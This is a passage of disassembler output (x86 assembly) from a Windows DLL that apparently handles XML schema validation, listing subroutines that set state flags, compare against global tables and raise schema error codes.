sub_69B5B16B proc near ; CODE XREF: sub_69B5C715+8Fp
; DATA XREF: sub_69B117C2+8o
arg_4 = dword ptr 8
mov eax, [ecx+0C4h]
push [esp+arg_4]
add eax, 4
push eax
call sub_69B17320
retn 8
sub_69B5B16B endp
; =============== S U B R O U T I N E =======================================
sub_69B5B181 proc near ; DATA XREF: sub_69B117C2+42o
arg_4 = dword ptr 8
mov eax, [ecx+0C4h]
push [esp+arg_4]
add eax, 8
push eax
call sub_69B17320
retn 8
sub_69B5B181 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B197 proc near ; DATA XREF: sub_69B11555+8o
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
mov ecx, [ebx+8]
mov eax, [esi+3Ch]
mov byte ptr [esi+5Ch], 1
mov eax, [eax+48h]
test eax, eax
jz short loc_69B5B1D5
push ecx
mov ecx, eax
call sub_69B1980A
test eax, eax
jz short loc_69B5B1D5
mov eax, [ebx]
push 0
mov ecx, ebx
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE01Bh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B5B1D5: ; CODE XREF: sub_69B5B197+17j
; sub_69B5B197+23j
push edi
mov edi, [esi+58h]
push ebx
mov ecx, edi
call sub_69B8C7A5
mov ecx, [esi+3Ch]
push 0
push edi
call sub_69B8B4EF
mov ecx, [edi+10h]
test ecx, ecx
pop edi
jz short loc_69B5B1FD
mov eax, [ecx]
push ebx
call dword ptr [eax+0F0h]
loc_69B5B1FD: ; CODE XREF: sub_69B5B197+5Bj
pop esi
pop ebx
retn 8
sub_69B5B197 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B202 proc near ; CODE XREF: sub_69B5CA0B+6Ap
; DATA XREF: sub_69B11555+42o
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
mov esi, [eax+8]
push edi
mov edi, ecx
mov byte ptr [edi+5Eh], 1
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 7
mov ebx, eax
jg short loc_69B5B229
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5B229: ; CODE XREF: sub_69B5B202+1Bj
cmp esi, [ebx+28h]
jnz short loc_69B5B23A
mov eax, [edi+58h]
mov eax, [eax+2Ch]
mov byte ptr [eax+8], 0
jmp short loc_69B5B25D
; ---------------------------------------------------------------------------
loc_69B5B23A: ; CODE XREF: sub_69B5B202+2Aj
cmp dword ptr [eax+8], 6
mov edi, eax
jg short loc_69B5B247
call sub_69B2E6D8
loc_69B5B247: ; CODE XREF: sub_69B5B202+3Ej
cmp esi, [edi+24h]
jz short loc_69B5B25D
mov eax, 0C00CE109h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5B25D: ; CODE XREF: sub_69B5B202+36j
; sub_69B5B202+48j
pop edi
pop esi
pop ebx
retn 8
sub_69B5B202 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B263 proc near ; CODE XREF: sub_69B5B337+53p
; DATA XREF: sub_69B1165C+8o
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_4]
mov ebx, [edi+8]
mov esi, ecx
push edi
lea eax, [esi+84h]
push eax
mov byte ptr [esi+80h], 1
call sub_69B17320
mov ecx, [esi+7Ch]
push ebx
call sub_69B5AF7A
cmp dword ptr [esi+58h], 0
jz short loc_69B5B2AD
mov ecx, [esi+78h]
push ebx
call sub_69B1980A
test eax, eax
jnz short loc_69B5B2E2
push dword ptr [esi+7Ch]
mov ecx, [esi+78h]
push ebx
call sub_69B3182D
jmp short loc_69B5B2F3
; ---------------------------------------------------------------------------
loc_69B5B2AD: ; CODE XREF: sub_69B5B263+2Dj
mov eax, [esi+54h]
mov ecx, [esi+40h]
push eax
push eax
push edi
call sub_69B5AEAA
mov edi, [eax+8]
mov ecx, [esi+7Ch]
push edi
call sub_69B5AF7A
mov ecx, [esi+3Ch]
push edi
call sub_69B8B114
test eax, eax
jnz short loc_69B5B2E2
push dword ptr [esi+7Ch]
mov ecx, [esi+3Ch]
push edi
call sub_69B8B7D4
jmp short loc_69B5B2F3
; ---------------------------------------------------------------------------
loc_69B5B2E2: ; CODE XREF: sub_69B5B263+3Aj
; sub_69B5B263+6Fj
mov eax, 0C00CE10Eh
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5B2F3: ; CODE XREF: sub_69B5B263+48j
; sub_69B5B263+7Dj
pop edi
pop esi
pop ebx
retn 8
sub_69B5B263 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B2F9 proc near ; CODE XREF: sub_69B5B337+9Dp
; DATA XREF: sub_69B1165C+7Ao
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
mov eax, [esi+7Ch]
test eax, eax
mov byte ptr [esi+82h], 1
mov byte ptr [esi+88h], 1
jz short loc_69B5B320
add eax, 2Ch
push eax
call sub_69B17320
jmp short loc_69B5B333
; ---------------------------------------------------------------------------
loc_69B5B320: ; CODE XREF: sub_69B5B2F9+1Aj
lea eax, [esi+0A4h]
push eax
call sub_69B17320
mov byte ptr [esi+0A0h], 1
loc_69B5B333: ; CODE XREF: sub_69B5B2F9+25j
pop esi
retn 8
sub_69B5B2F9 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B337 proc near ; DATA XREF: sub_69B11555+5Eo
; sub_69B118B8+8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+5Dh], bl
push edi
jz short loc_69B5B358
cmp [esi+64h], bl
jnz short loc_69B5B358
mov eax, 0C00CE106h
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5B358: ; CODE XREF: sub_69B5B337+Aj
; sub_69B5B337+Fj
push ebx
mov ecx, esi
call sub_69B5B0D9
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
mov edi, eax
jg short loc_69B5B372
call sub_69B2E6D8
loc_69B5B372: ; CODE XREF: sub_69B5B337+34j
mov eax, [edi+88h]
mov ecx, [esi+40h]
push ebx
push ebx
push eax
call sub_69B3DA18
push eax
push [esp+10h+arg_0]
mov ecx, esi
call sub_69B5B263
mov eax, [esi+7Ch]
mov edi, [esp+0Ch+arg_4]
mov byte ptr [esi+81h], 1
mov dword ptr [eax+18h], 1
mov eax, [esi+7Ch]
mov byte ptr [eax+31h], 1
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
mov ecx, eax
call sub_69B2EF67
test al, al
jz short loc_69B5B3CD
mov eax, 0C00CE124h
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5B3CD: ; CODE XREF: sub_69B5B337+84j
push edi
push [esp+10h+arg_0]
mov ecx, esi
call sub_69B5B2F9
pop edi
mov byte ptr [esi+65h], 1
pop esi
pop ebx
retn 8
sub_69B5B337 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B3E3 proc near ; DATA XREF: sub_69B11555+96o
arg_4 = dword ptr 8
mov eax, [ecx+58h]
push [esp+arg_4]
add eax, 20h
push eax
mov byte ptr [ecx+67h], 1
call sub_69B17320
retn 8
sub_69B5B3E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B3FA proc near ; DATA XREF: sub_69B1165C+26o
; sub_69B11933+8o
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
mov ecx, [eax+8]
mov eax, [ecx]
push edi
call dword ptr [eax+2Ch]
mov ecx, eax
call sub_69B2F43C
mov edi, eax
push edi
mov ecx, esi
call sub_69B5AE63
cmp eax, 27h
jge short loc_69B5B42F
mov ecx, [esi+7Ch]
mov byte ptr [esi+9Dh], 1
mov [ecx+18h], eax
jmp short loc_69B5B45F
; ---------------------------------------------------------------------------
loc_69B5B42F: ; CODE XREF: sub_69B5B3FA+24j
cmp byte ptr [esi+36h], 0
jnz short loc_69B5B44A
mov ecx, [esi+7Ch]
mov [ecx+18h], eax
mov eax, [esi+7Ch]
push edi
add eax, 1Ch
push eax
call sub_69B17320
jmp short loc_69B5B45F
; ---------------------------------------------------------------------------
loc_69B5B44A: ; CODE XREF: sub_69B5B3FA+39j
push 0
push edi
push 0C00CE21Ch
push 0C00CE112h
call sub_69B2E9D0
add esp, 10h
loc_69B5B45F: ; CODE XREF: sub_69B5B3FA+33j
; sub_69B5B3FA+4Ej
pop edi
pop esi
retn 8
sub_69B5B3FA endp
; =============== S U B R O U T I N E =======================================
sub_69B5B464 proc near ; DATA XREF: sub_69B1165C+42o
arg_4 = dword ptr 8
mov eax, [ecx+7Ch]
push [esp+arg_4]
add eax, 20h
push eax
mov byte ptr [ecx+9Ch], 1
call sub_69B17320
retn 8
sub_69B5B464 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B47E proc near ; DATA XREF: sub_69B11747+8o
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
mov eax, [esi+3Ch]
mov eax, [eax+48h]
test eax, eax
push edi
mov edi, [ebx+8]
jz short loc_69B5B4A0
push edi
mov ecx, eax
call sub_69B1980A
test eax, eax
jnz short loc_69B5B4A9
loc_69B5B4A0: ; CODE XREF: sub_69B5B47E+14j
mov ecx, [esi+3Ch]
push ebx
call sub_69B8B707
loc_69B5B4A9: ; CODE XREF: sub_69B5B47E+20j
cmp byte ptr [esi+63h], 0
mov byte ptr [esi+66h], 1
jz short loc_69B5B4BC
mov ecx, esi
call sub_69B5AE06
jmp short loc_69B5B4C0
; ---------------------------------------------------------------------------
loc_69B5B4BC: ; CODE XREF: sub_69B5B47E+33j
mov byte ptr [esi+63h], 1
loc_69B5B4C0: ; CODE XREF: sub_69B5B47E+3Cj
mov eax, [esi+58h]
mov ecx, [eax+2Ch]
push edi
call sub_69B8FF0A
pop edi
pop esi
pop ebx
retn 8
sub_69B5B47E endp
; =============== S U B R O U T I N E =======================================
sub_69B5B4D2 proc near ; CODE XREF: sub_69B5BEA5+Cp
; sub_69B5BECF+7p ...
arg_0 = dword ptr 4
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 0Fh
push ebx
push esi
push edi
mov ebx, ecx
mov edi, eax
jg short loc_69B5B4EE
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5B4EE: ; CODE XREF: sub_69B5B4D2+10j
mov esi, [esp+0Ch+arg_0]
cmp esi, [edi+48h]
jnz short loc_69B5B500
and dword ptr [ebx+0BCh], 0
jmp short loc_69B5B552
; ---------------------------------------------------------------------------
loc_69B5B500: ; CODE XREF: sub_69B5B4D2+23j
cmp dword ptr [eax+8], 10h
mov edi, eax
jg short loc_69B5B512
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5B512: ; CODE XREF: sub_69B5B4D2+34j
cmp esi, [edi+4Ch]
jnz short loc_69B5B523
mov dword ptr [ebx+0BCh], 1
jmp short loc_69B5B552
; ---------------------------------------------------------------------------
loc_69B5B523: ; CODE XREF: sub_69B5B4D2+43j
cmp dword ptr [eax+8], 11h
mov edi, eax
jg short loc_69B5B530
call sub_69B2E6D8
loc_69B5B530: ; CODE XREF: sub_69B5B4D2+57j
cmp esi, [edi+50h]
jnz short loc_69B5B541
mov dword ptr [ebx+0BCh], 2
jmp short loc_69B5B552
; ---------------------------------------------------------------------------
loc_69B5B541: ; CODE XREF: sub_69B5B4D2+61j
mov eax, 0C00CE105h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5B552: ; CODE XREF: sub_69B5B4D2+2Cj
; sub_69B5B4D2+4Fj ...
pop edi
pop esi
pop ebx
retn 4
sub_69B5B4D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5B558 proc near ; CODE XREF: sub_69B5BDC8+85p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
xor ebx, ebx
cmp [ebp+arg_0], ebx
push esi
mov esi, ecx
mov [ebp+var_1], bl
jz short loc_69B5B575
mov eax, [esi+3Ch]
mov eax, [eax+38h]
mov [ebp+var_C], eax
loc_69B5B575: ; CODE XREF: sub_69B5B558+12j
mov eax, [ebp+arg_C]
cmp [eax+10h], ebx
push edi
jnz short loc_69B5B5EC
mov edi, [eax+0Ch]
cmp edi, ebx
jnz short loc_69B5B5A6
mov eax, dword_69B95AB8
cmp [eax+8], ebx
mov edi, eax
jg short loc_69B5B596
call sub_69B2E6D8
loc_69B5B596: ; CODE XREF: sub_69B5B558+37j
mov eax, [edi+0Ch]
mov ecx, [esi+40h]
push ebx
push ebx
push eax
call sub_69B3DA18
mov edi, eax
loc_69B5B5A6: ; CODE XREF: sub_69B5B558+2Bj
cmp [ebp+arg_0], ebx
jz short loc_69B5B5C5
lea eax, [ebp+var_10]
push eax
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
push 1
push ebx
push [ebp+arg_0]
push [ebp+var_C]
call sub_69B8D750
jmp short loc_69B5B5DB
; ---------------------------------------------------------------------------
loc_69B5B5C5: ; CODE XREF: sub_69B5B558+51j
mov ecx, [esi+50h]
call sub_69B3D200
push eax
push dword ptr [esi+50h]
push edi
push ebx
call sub_69B1BE7F
mov [ebp+var_10], eax
loc_69B5B5DB: ; CODE XREF: sub_69B5B558+6Bj
mov ecx, [ebp+arg_C]
mov eax, [ecx]
push 1
push [ebp+var_10]
call dword ptr [eax+38h]
mov [ebp+var_1], 1
loc_69B5B5EC: ; CODE XREF: sub_69B5B558+24j
mov edi, [ebp+arg_10]
mov eax, [edi]
push 1
push ebx
mov ecx, edi
call dword ptr [eax+38h]
cmp [ebp+arg_0], ebx
jz short loc_69B5B620
lea eax, [ebp+var_8]
push eax
push [ebp+arg_14]
mov eax, [ebp+arg_C]
push ebx
push ebx
push ebx
push ebx
push 1
push 2
push dword ptr [eax+10h]
push [ebp+arg_0]
push [ebp+var_C]
call sub_69B8D750
jmp short loc_69B5B648
; ---------------------------------------------------------------------------
loc_69B5B620: ; CODE XREF: sub_69B5B558+A4j
mov eax, [ebp+arg_C]
mov eax, [eax+10h]
mov ecx, [esi+50h]
mov [ebp+arg_C], eax
call sub_69B3D200
push eax
push dword ptr [esi+50h]
push ebx
push ebx
push ebx
push [ebp+arg_C]
push [ebp+arg_14]
push 0Fh
call sub_69B49219
mov [ebp+var_8], eax
loc_69B5B648: ; CODE XREF: sub_69B5B558+C6j
mov eax, [edi]
push 1
push [ebp+var_8]
mov ecx, edi
call dword ptr [eax+38h]
mov ecx, edi
call sub_69B5AC1C
mov eax, [ebp+var_8]
or byte ptr [eax+9], 20h
cmp [ebp+arg_0], ebx
jz short loc_69B5B697
push ebx
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push ebx
push 0Dh
push [ebp+var_8]
push [ebp+arg_0]
push [ebp+var_C]
call sub_69B8D750
push ebx
push ebx
push 2
push [ebp+var_8]
push [ebp+arg_0]
push [ebp+var_C]
call sub_69B8D7E7
jmp short loc_69B5B6C2
; ---------------------------------------------------------------------------
loc_69B5B697: ; CODE XREF: sub_69B5B558+10Dj
mov ecx, [esi+50h]
call sub_69B3D200
push eax
push dword ptr [esi+50h]
push [ebp+arg_8]
push [ebp+arg_4]
push ebx
push [ebp+var_8]
push ebx
push 1
call sub_69B49219
mov ecx, [ebp+var_8]
push ebx
push ebx
push 1
push ebx
call sub_69B4B0C7
loc_69B5B6C2: ; CODE XREF: sub_69B5B558+13Dj
cmp [ebp+var_1], bl
jz short loc_69B5B6ED
cmp [ebp+arg_0], ebx
push ebx
jz short loc_69B5B6E1
push 1
push 1
push [ebp+var_10]
push [ebp+arg_0]
push [ebp+var_C]
call sub_69B8D7E7
jmp short loc_69B5B6ED
; ---------------------------------------------------------------------------
loc_69B5B6E1: ; CODE XREF: sub_69B5B558+173j
mov ecx, [ebp+var_10]
push ebx
push 1
push ebx
call sub_69B4B0C7
loc_69B5B6ED: ; CODE XREF: sub_69B5B558+16Dj
; sub_69B5B558+187j
push ebx
lea eax, [edi+2Ch]
push eax
call sub_69B17320
push 1
push edi
push dword ptr [esi+4Ch]
push [ebp+var_8]
push [ebp+arg_0]
call sub_69B4E634
mov ecx, edi
call sub_69B8C6AD
cmp eax, 2
pop edi
jnz short loc_69B5B725
mov eax, 0C00CE023h
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5B725: ; CODE XREF: sub_69B5B558+1BBj
pop esi
pop ebx
leave
retn 18h
sub_69B5B558 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B72B proc near ; CODE XREF: sub_69B5C12E+64p
push edi
lea edi, [ecx+1Ch]
mov eax, [edi+8]
test eax, eax
jz short loc_69B5B77D
push esi
lea esi, [eax-1]
imul esi, [edi]
add esi, [edi+4]
jz short loc_69B5B77C
lea eax, [ecx+0ACh]
mov ecx, [esi]
mov edx, [ecx+4]
mov [eax+4], edx
mov edx, [ecx+8]
mov [eax+8], edx
mov ecx, [ecx+10h]
push ebx
mov [eax+10h], ecx
mov ebx, [esi]
test ebx, ebx
jz short loc_69B5B76F
push ebx
call sub_69B17230
push ebx
call sub_69B1B2B7
loc_69B5B76F: ; CODE XREF: sub_69B5B72B+36j
and dword ptr [esi], 0
pop ebx
pop esi
mov ecx, edi
pop edi
jmp sub_69B31F0D
; ---------------------------------------------------------------------------
loc_69B5B77C: ; CODE XREF: sub_69B5B72B+15j
pop esi
loc_69B5B77D: ; CODE XREF: sub_69B5B72B+9j
pop edi
retn
sub_69B5B72B endp
; =============== S U B R O U T I N E =======================================
sub_69B5B77F proc near ; CODE XREF: sub_69B5BCA9+6Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+10h]
test eax, eax
jz short loc_69B5B797
cmp eax, dword_69B95A3C
jz short loc_69B5B797
mov al, 1
jmp short loc_69B5B7D3
; ---------------------------------------------------------------------------
loc_69B5B797: ; CODE XREF: sub_69B5B77F+Aj
; sub_69B5B77F+12j
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 27h
push edi
mov edi, eax
jg short loc_69B5B7AF
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5B7AF: ; CODE XREF: sub_69B5B77F+24j
cmp [edi+0A8h], esi
jz short loc_69B5B7D0
cmp dword ptr [eax+8], 28h
mov edi, eax
jg short loc_69B5B7C4
call sub_69B2E6D8
loc_69B5B7C4: ; CODE XREF: sub_69B5B77F+3Ej
cmp [edi+0ACh], esi
jz short loc_69B5B7D0
xor al, al
jmp short loc_69B5B7D2
; ---------------------------------------------------------------------------
loc_69B5B7D0: ; CODE XREF: sub_69B5B77F+36j
; sub_69B5B77F+4Bj
mov al, 1
loc_69B5B7D2: ; CODE XREF: sub_69B5B77F+4Fj
pop edi
loc_69B5B7D3: ; CODE XREF: sub_69B5B77F+16j
pop esi
retn 4
sub_69B5B77F endp
; =============== S U B R O U T I N E =======================================
sub_69B5B7D7 proc near ; CODE XREF: sub_69B5C83A+F6p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+10h]
test eax, eax
push edi
jz short loc_69B5B7F6
cmp eax, dword_69B95A3C
jz short loc_69B5B7F6
cmp eax, dword_69B95A54
jz short loc_69B5B7FE
jmp short loc_69B5B86D
; ---------------------------------------------------------------------------
loc_69B5B7F6: ; CODE XREF: sub_69B5B7D7+Bj
; sub_69B5B7D7+13j
cmp dword_69B95A54, eax
jnz short loc_69B5B871
loc_69B5B7FE: ; CODE XREF: sub_69B5B7D7+1Bj
mov eax, [ecx]
cmp dword ptr [eax], 26h
jnz short loc_69B5B871
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 2Eh
mov edi, eax
jg short loc_69B5B81C
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5B81C: ; CODE XREF: sub_69B5B7D7+39j
cmp [edi+0C4h], esi
jz short loc_69B5B86D
cmp dword ptr [eax+8], 2Fh
mov edi, eax
jg short loc_69B5B836
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5B836: ; CODE XREF: sub_69B5B7D7+53j
cmp [edi+0C8h], esi
jz short loc_69B5B86D
cmp dword ptr [eax+8], 31h
mov edi, eax
jg short loc_69B5B850
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5B850: ; CODE XREF: sub_69B5B7D7+6Dj
cmp [edi+0D0h], esi
jz short loc_69B5B86D
cmp dword ptr [eax+8], 30h
mov edi, eax
jg short loc_69B5B865
call sub_69B2E6D8
loc_69B5B865: ; CODE XREF: sub_69B5B7D7+87j
cmp [edi+0CCh], esi
jnz short loc_69B5B871
loc_69B5B86D: ; CODE XREF: sub_69B5B7D7+1Dj
; sub_69B5B7D7+4Bj ...
mov al, 1
jmp short loc_69B5B873
; ---------------------------------------------------------------------------
loc_69B5B871: ; CODE XREF: sub_69B5B7D7+25j
; sub_69B5B7D7+2Cj ...
xor al, al
loc_69B5B873: ; CODE XREF: sub_69B5B7D7+98j
pop edi
pop esi
retn 4
sub_69B5B7D7 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B878 proc near ; CODE XREF: sub_69B5BCA9+4Cp
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi]
cmp dword ptr [eax+8], 0
push edi
jz short loc_69B5B8B5
mov eax, [eax+8]
xor edi, edi
cmp [eax], edi
jl short loc_69B5B8B5
loc_69B5B88D: ; CODE XREF: sub_69B5B878+3Bj
mov eax, [esi]
mov eax, [eax+8]
mov eax, [eax+edi*4]
shl eax, 6
push dword_69B96138[eax]
call sub_69B48CB0
cmp eax, [esp+8+arg_0]
mov eax, [esi]
mov eax, [eax+8]
jz short loc_69B5B8BC
inc edi
cmp dword ptr [eax+edi*4], 0
jge short loc_69B5B88D
loc_69B5B8B5: ; CODE XREF: sub_69B5B878+Aj
; sub_69B5B878+13j
xor al, al
loc_69B5B8B7: ; CODE XREF: sub_69B5B878+54j
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B5B8BC: ; CODE XREF: sub_69B5B878+34j
mov eax, [eax+edi*4]
shl eax, 6
add eax, offset dword_69B96138
mov [esi+4], eax
mov al, 1
jmp short loc_69B5B8B7
sub_69B5B878 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B8CE proc near ; CODE XREF: sub_69B5BDC8+49p
; sub_69B5C076+84p
push 38h
push offset dword_69B5B988
call sub_69B19C5C
mov [ebp-1Ch], ecx
and dword ptr [ebp-4], 0
and word ptr [ebp-2Ch], 0
or dword ptr [ebp-30h], 0FFFFFFFFh
mov esi, [ebp+8]
mov eax, [esi+24h]
mov [ebp-34h], eax
mov ecx, [esi+28h]
mov [ebp-38h], ecx
mov edi, [ebp+0Ch]
mov edx, [edi+8]
mov [ebp-3Ch], edx
mov ebx, [edi+0Ch]
mov [ebp-40h], ebx
lea ebx, [ebp-30h]
push ebx ; int
push 0 ; int
lea ebx, [ebp-2Ch]
push ebx ; pvar
push eax ; int
push ecx ; int
push dword ptr [ebp+10h] ; int
push edx ; cElements
push dword ptr [ebp-40h] ; int
call sub_69B30DEE
mov eax, ebx
push eax ; pvarg
call VariantClear
cmp dword ptr [ebp+10h], 0Ch
jge short loc_69B5B97C
push 1
push edi
push dword ptr [ebp+10h]
mov eax, [ebp-1Ch]
mov ecx, [eax+44h]
call sub_69B4DE11
mov [ebp-44h], eax
push eax
mov ecx, esi
call sub_69B8CC82
lea eax, [esi+2Ch]
mov [ebp-48h], eax
push dword ptr [ebp-44h]
push eax
call sub_69B17320
jmp short loc_69B5B97C
; ---------------------------------------------------------------------------
loc_69B5B95C: ; DATA XREF: .text:69B5B98Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5B965: ; DATA XREF: .text:69B5B990o
mov esp, [ebp-18h]
push 0
push dword ptr [ebp+0Ch]
mov eax, 0C00CE11Bh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B5B97C: ; CODE XREF: sub_69B5B8CE+5Fj
; sub_69B5B8CE+8Cj
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 0Ch
sub_69B5B8CE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B5B988 dd 0FFFFFFFFh dd offset loc_69B5B95C
dd offset loc_69B5B965
; =============== S U B R O U T I N E =======================================
sub_69B5B994 proc near ; CODE XREF: sub_69B5BE84+7p
; sub_69B5BEB9+7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, [eax+8]
mov eax, dword_69B95AB8
xor ebx, ebx
cmp dword ptr [eax+8], 13h
push edi
mov edi, eax
jg short loc_69B5B9B7
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5B9B7: ; CODE XREF: sub_69B5B994+17j
cmp [edi+58h], esi
jnz short loc_69B5B9C0
mov bl, 1
jmp short loc_69B5B9E2
; ---------------------------------------------------------------------------
loc_69B5B9C0: ; CODE XREF: sub_69B5B994+26j
cmp dword ptr [eax+8], 14h
mov edi, eax
jg short loc_69B5B9CD
call sub_69B2E6D8
loc_69B5B9CD: ; CODE XREF: sub_69B5B994+32j
cmp [edi+5Ch], esi
jz short loc_69B5B9E2
mov eax, 0C00CE111h
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5B9E2: ; CODE XREF: sub_69B5B994+2Aj
; sub_69B5B994+3Cj
pop edi
pop esi
mov al, bl
pop ebx
retn 4
sub_69B5B994 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B9EA proc near ; CODE XREF: sub_69B4FDBC+3BEp
; .text:69B5BAC6p ...
push 18h
push offset dword_69B5BAA0
call sub_69B19C5C
mov esi, [ebp+0Ch]
mov eax, [esi+8]
lea eax, [eax+eax+16h]
push eax
call sub_69B11E44
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B5BA21
push ebx
mov eax, 8007000Eh
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5BA21: ; CODE XREF: sub_69B5B9EA+25j
mov [ebp-4], ebx
push offset aXSchema_0 ; "x-schema:#"
push edi ; psz1
call ds:StrCpyW ; StrCpyW
mov esi, [esi+0Ch]
mov [ebp-20h], esi
push esi ; psz2
push edi ; psz1
call ds:StrCatW ; StrCatW
mov eax, [ebp+8]
mov ecx, [eax+70h]
mov [ebp-24h], ecx
push 0FFFFFFFFh ; int
push edi ; lpString
push ebx ; int
call sub_69B4D394
mov [ebp-28h], eax
jmp short loc_69B5BA6F
; ---------------------------------------------------------------------------
loc_69B5BA55: ; DATA XREF: .text:69B5BAA4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5BA5E: ; DATA XREF: .text:69B5BAA8o
mov esp, [ebp-18h]
mov edi, [ebp-1Ch]
push edi
call sub_69B1B2B7
call sub_69B2E860
loc_69B5BA6F: ; CODE XREF: sub_69B5B9EA+69j
or dword ptr [ebp-4], 0FFFFFFFFh
push edi
call sub_69B1B2B7
mov eax, [ebp-28h]
call sub_69B1853C
retn 8
sub_69B5B9EA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; const WCHAR aXSchema_0
aXSchema_0: ; DATA XREF: sub_69B5B9EA+3Ao
unicode 0, <x-schema:#>,0
align 10h
dword_69B5BAA0 dd 0FFFFFFFFh dd offset loc_69B5BA55
dd offset loc_69B5BA5E
; ---------------------------------------------------------------------------
loc_69B5BAAC: ; DATA XREF: sub_69B114F6+8o
push esi
mov esi, ecx
cmp byte ptr [esi+48h], 0
jz short loc_69B5BB09
mov ecx, [esp+0Ch]
mov eax, [ecx]
push ebx
push edi
call dword ptr [eax+2Ch]
mov ebx, eax
push ebx
push dword ptr [esi+4Ch]
call sub_69B5B9EA
push eax
lea edi, [esi+54h]
push edi
call sub_69B17320
mov ecx, [esi+3Ch]
push dword ptr [edi]
add ecx, 1Ch
call sub_69B3BD1A
test eax, eax
jz short loc_69B5BAFA
push 0
mov eax, 0C00CE13Ah
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B5BB07
; ---------------------------------------------------------------------------
loc_69B5BAFA: ; CODE XREF: .text:69B5BAE4j
mov ecx, [esi+3Ch]
push dword ptr [edi]
add ecx, 1Ch
call sub_69B5A954
loc_69B5BB07: ; CODE XREF: .text:69B5BAF8j
pop edi
pop ebx
loc_69B5BB09: ; CODE XREF: .text:69B5BAB3j
pop esi
retn 8
; =============== S U B R O U T I N E =======================================
sub_69B5BB0D proc near ; CODE XREF: sub_69B5C1D0-619p
; sub_69B5BBC0+3p ...
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push ebx
push esi
call sub_69B17320
push ebx
lea eax, [esi+4]
push eax
call sub_69B17320
push ebx
lea eax, [esi+8]
push eax
call sub_69B17320
push ebx
lea eax, [esi+0Ch]
push eax
call sub_69B17320
xor eax, eax
inc eax
mov [esi+10h], eax
mov [esi+14h], eax
mov [esi+18h], bl
mov [esi+1Ch], ebx
mov [esi+24h], ebx
push ebx
add esi, 20h
push esi
call sub_69B17320
pop esi
pop ebx
retn
sub_69B5BB0D endp
; =============== S U B R O U T I N E =======================================
sub_69B5BB57 proc near ; CODE XREF: sub_69B5CB6E+B7p
; sub_69B5CB6E+D2p
push esi
mov esi, ecx
cmp dword ptr [esi+20h], 0
jle short loc_69B5BB77
mov ecx, [esi+1Ch]
call sub_69B8A208
push 0
